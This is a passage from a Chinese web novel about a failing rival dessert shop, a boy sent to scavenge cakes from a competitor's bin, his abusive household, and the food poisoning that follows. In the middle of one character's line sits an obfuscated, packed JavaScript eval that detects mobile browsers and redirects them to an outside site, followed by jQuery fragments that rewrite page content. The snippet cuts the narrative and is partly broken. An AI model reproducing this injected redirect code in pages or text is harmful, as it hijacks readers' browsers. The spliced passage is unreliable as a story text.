“他妈妈的店生意不好,东西超难吃。”这个,其他小朋友也深有感触,“而且好贵好贵……” 几人吐槽了半天,总结一点,王小宝一家都不好相处,附近没一个邻居喜欢。 “原来是这种人,下次不让他来了。”小满又气哼哼了两句。 不到二十分钟,莹莹妈就来接人。 邢晓莹赶紧吃完双皮奶,从书包外侧口袋里掏出一张纸币,踮脚放到收银台上,“我妈妈说不能白拿别人东西,谢谢叔叔,也谢谢漫漫,小满,我走了,明天见。” 陆续的,其他几个小孩儿透过玻璃窗瞧见爸妈来接,一个两个收拾好作业和书包,跑去收银台,给了钱离开。 … 天色渐渐暗下去,甜品店也差不多关门了。 祁凝玉打扫完卫生,照例将垃圾扔到后门垃圾桶,回去时却隐约听到点轻微的脚步声。 她佯装没发现。 关上门等了会儿,再悄悄拧开一条缝,昏暗中瞧见,有个身影正趴在垃圾桶边翻找。 背上还背着小书包。 小孩儿? 一束光打过路口照在人身上,居然是前不久跟小满起争执的那个孩子,王小宝! 他翻垃圾桶做什么? 店里每天基本没什么剩下的,王小宝在垃圾桶里挑挑拣拣,才好不容易找到一盒栗子糕,拉开书包塞进去。 — 回到家,又是奶奶在做饭。 “哟!乖孙回来啦。来来来,今天吃大餐!”油腻腻的手伸过来。 王小宝侧身躲开,背着书包进屋,“妈妈呢?” 刚才还一脸笑的老太太,转头开始阴阳怪气儿,“她啊,搁屋里躺一天啦,清闲得嘞,还要我老婆子煮给她吃哟。” 话落,房门嘎吱打开。 满脸病态的杨念雅披着衣裳出来,看也没看老太太,就问儿子:“怎么样?” 王小宝急忙刹住脚,攥了攥书包带子,“小满爸爸那家店生意……很好,味道也很好,一天到晚剩不了什么东西。” 声音越说越矮。 杨念雅不耐烦地敲敲桌:“然后呢。” “我今天只找到这个。”王小宝把书包拉开,掏出那只卖剩下丢掉的栗子糕。 杨念雅撕开包装盒,拿起一块咬一口,然后再咬一口,“味道好……好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13805604|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个屁啊!这不是一样的么!!” 王小宝吓一跳,抱着书包埋下头。 “一样的,明明一样的,为什么他就卖那么好?为什么!”杨念雅在屋里来来回回转,转够了又走到王小宝面前,提一口气问:“他这个卖多少?” “好,好像是六块。” “什么!六块!” 王小宝头埋得更低了。 他知道,妈妈店里也卖过这个,一盒16,里面统共六小块,几乎没什么栗子味,不像小满爸爸店里的,八小块,夹心是厚厚一层栗子芋泥。 “六块……他怎么不免费送啊!”杨念雅反手将一盒栗子糕扫到地上。 不巧,被老太太撞见。 “哎哟,你个天杀的,这么糟蹋粮食你啊。”老太太心疼地忙将滚落地上的栗子糕捡起来,吹吹上面沾到的泥,扬声:“不吃你别扔啊!这不还好好的。” “好个屁!要不是你这舍不得扔那舍不得扔,把从市场捡回来的烂苹果榨成泥,给我做成苹果派,至于让人吃坏肚子,砸了我的店么!”杨念雅比她声音更高,几乎是吼了出来。 这话,老太太就不爱听了,“我这么做还不是为了你少花点钱,现在反倒来怪我了是吧。行啊,你有本事,有本事再把店开回来啊。” “你!” “行了!”门外突然一声厉喝,王佳伟骂骂咧咧踹了一脚门,“都吵什么吵!” 屋内顿时静音。 杨念雅拢了拢身上的外套,扭头嘭!一声关上门。 老太太还想说两句,瞥见儿子阴冷的视线,忙换上讨好的笑迎过去,“阿伟回来啦,来,吃饭。” 她往围裙上擦擦手,掀开桌上两只海碗。 “螃蟹!”王小宝扒着桌子,眼睛一阵阵放光,“奶奶,这是你买的?” “当然啦,你看,个个儿都又肥又大。”老太太先夹一只给他,听到身后传来一声咳嗽,赶紧又拉开凳子,“来,阿伟坐,忙一天累坏了吧。” 王佳伟不轻不重“嗯”,刚坐下又猛地站起,倒吸了口气,“嘶!垫子呢!” 木椅子硬邦邦的。 “垫子,哦!白天我给洗了,等等啊。”说着,就去外面取。 王佳伟:“啧!真是没用。” “爸爸。” “嗯?怎么了儿子。” 王佳伟也就对他还有点好脸色。 王小宝抱着螃蟹壳,直勾勾看向他身下,“爸爸怎么每天都屁.股痛啊。” 男人的脸有一瞬间扭曲,拍了下他的头,“吃你的。” 顺手拿起一只螃蟹掰断腿就要嚼,凑近一闻,猛地摔桌上,“这螃蟹怎么是酸的!” “哎哟!”老太太一拍头,“我煮的时候不小心把白醋倒进去了。” “白醋?” “是啊。” 王佳伟又拿起一只闻了闻,倒真有股子醋味,将信将疑吃了两个,剩下的全给儿子。 “好好补,以后给老子考个好大学,知道不。” 在他头上使劲揉两把,撑着桌子起身回房。 屋里很快响起女人凄惨叫声。 “王佳伟!你这个变态!” 房门虚掩着,里头的声音一清二楚,祖孙俩却都跟聋了似的。 老太太还边往他碗里添螃蟹腿儿,边笑呵呵道:“马上又要有孙子咯。” 可惜没笑多久, 王小宝吃着吃着就吐了。 不是一般的吐,夜里又拉了几回肚子,开始发烧。 大半夜,不得已挂了急诊。 医生检查完孩子情况,眉头紧皱:“你们给孩子吃什么了?” “没吃什么啊!”老太太瘫地上,嘴一张就嚎:“晚上还好好的,突然就这样了,医生啊,活菩萨,你可得救救我宝贝孙子。” “孩子暂时没事,但是得先挂几瓶水观察,你们最好想想给孩子吃了什么。” 大晚上的,嚎得人心烦,医生说完情况先走了。 留下两夫妻和老太太。 王佳伟立刻想到了那味道不太对的螃蟹,狠戾的视线只恨不得射穿她,“妈,那螃蟹……” “今天小宝回来,带了盒栗子糕!对,栗子糕。”老太太像抓住了一条救命线,绝口不提螃蟹,“肯定就是那盒栗子糕啊!” 一旁的杨念雅张了张嘴,闭上。 — 翌日周末。 小满不上课,缩被窝里睡懒觉,沈庭章和祁凝玉早上九点散着步去店里。 “现在生意还算稳定,过不久再招一个甜点师傅和收银。”沈庭章规划着,“这样你我都能轻松些。” 祁凝玉微愣,跟他笑:“还以为,你要把我当牛马使呢。” “十万块而已。”这段时间,沈庭章深知赚钱不易,但这不能成为毁了一个人的理由,尤其是一个女孩子。 “你才19岁,往后还有更好的去路。” 祁凝玉脚一顿,深深凝望人背影,“沈哥不如说说,像我这样的人还能有什么出路?” “出路啊。”沈庭章倒是很认真地想了,甚至差点又走错路,“出路很多,说怎么可能说得尽?只要你想,走哪条都是出路。” “比如?” “继续念书,或者去学好一门生存的手艺。” 12月底的早晨,呼出的气都是白的。 祁凝玉抓了抓脖子上的手工围巾,快跑两步追上人,忍不住笑:“哥,你好天真哦。” “嗯?” 说着话走到店门口,沈庭章掏出钥匙开门。 正回头,斜对面突然冲过来一个老太太,将他用力一把推倒。 “就是你给我家小宝吃毒蛋糕的啊!”